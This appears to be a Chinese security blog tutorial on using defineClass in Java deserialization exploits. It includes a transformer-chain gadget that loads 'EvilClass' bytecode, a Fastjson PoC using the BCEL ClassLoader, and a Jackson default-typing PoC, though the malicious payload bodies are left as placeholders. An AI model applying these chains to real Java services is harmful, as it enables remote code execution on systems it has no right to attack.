Java反序列化中defineClass的利用技巧
0x00 前言
defineClass是Java反序列化漏洞利用中的关键技术之一。官方定义中,defineClass可以从byte[]还原出一个Class对象,这为构造Java反序列化利用和漏洞PoC提供了便利。
0x01 defineClass构造回显
常规回显方法
常规回显思路是使用URLClassLoader加载.class或.jar文件:
- 调用
loadClass加载对应类名 - 返回
Class对象 - 调用
newInstance()实例化对象 - 通过抛错方式带回回显结果
// 示例代码
throw new Exception("genxor");
缺点:需要先写入.class或.jar文件,过程复杂。
defineClass优化方案
使用defineClass可以直接加载内存中的字节码:
- 将编译好的
.class文件转换为byte[] - 直接用
defineClass加载返回Class对象
由于java.lang.ClassLoader的defineClass是protected属性,无法直接调用,可以使用org.mozilla.classfile.DefiningClassLoader类,它重写了defineClass且为public属性。
示例代码:
// 使用DefiningClassLoader加载字节码
DefiningClassLoader loader = new DefiningClassLoader();
Class clazz = loader.defineClass("EvilClass", evilBytes);
Object obj = clazz.newInstance();
构造transformerChain生成map对象:
// 构造Transformer链生成Map对象
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{"EvilClass", evilBytes}),
new InvokerTransformer("newInstance", new Class[0], new Object[0])
};
0x02 Fastjson利用
漏洞原理
Fastjson早期反序列化漏洞利用com.sun.org.apache.bcel.internal.util.ClassLoader。
利用PoC格式:
{
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "
$$
BCEL
$$
..."
}
org.apache.tomcat.dbcp.dbcp.BasicDataSource关键代码:
// 当解析JSON时,会执行Class.forName逻辑
Class.forName(driverClassName, true, driverClassLoader);
代码执行方式
-
方式一:通过控制
classname执行代码public class Evil { static { // 恶意代码 } }当被
Class.forName加载时,静态代码块会执行。 -
方式二:通过控制
classname和classloader执行代码- 使用
com.sun.org.apache.bcel.internal.util.ClassLoader classname是经过BCEL编码的.class文件
- 使用
BCEL加载流程:
ClassLoader加载类时,判断classname是否经过BCEL编码- 解码获取Class文件字节码
- 调用
defineClass还原出类 - 静态代码块在加载过程中执行
0x03 Jackson利用
Jackson反序列化漏洞与Fastjson类似,也是注入精心构造的.class文件,通过newInstance触发执行。
PoC示例:
public class Pwn {
static {
// 恶意代码
}
}
触发代码:
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"foo.Pwn\", {\"transletBytecodes\":[\"...\"], \"transletName\":\"a.b\"}]";
mapper.readValue(json, Object.class);
执行流程:
defineTransletClasses解码transletBytecodes为byte[]- 执行
defineClass得到类 - 执行
newInstance触发静态代码块
0x04 总结
利用defineClass可以在运行时将构造的class文件加载到ClassLoader中,通过Java的static{}特性实现代码执行。关键点包括:
- 使用替代的
ClassLoader(如DefiningClassLoader)绕过访问限制 - 利用静态代码块实现无实例化执行
- 结合BCEL等编码方式隐藏恶意代码
- 在Fastjson/Jackson等反序列化场景中的应用
0x05 参考资源
测试代码仓库:https://github.com/genxor/Deserialize.git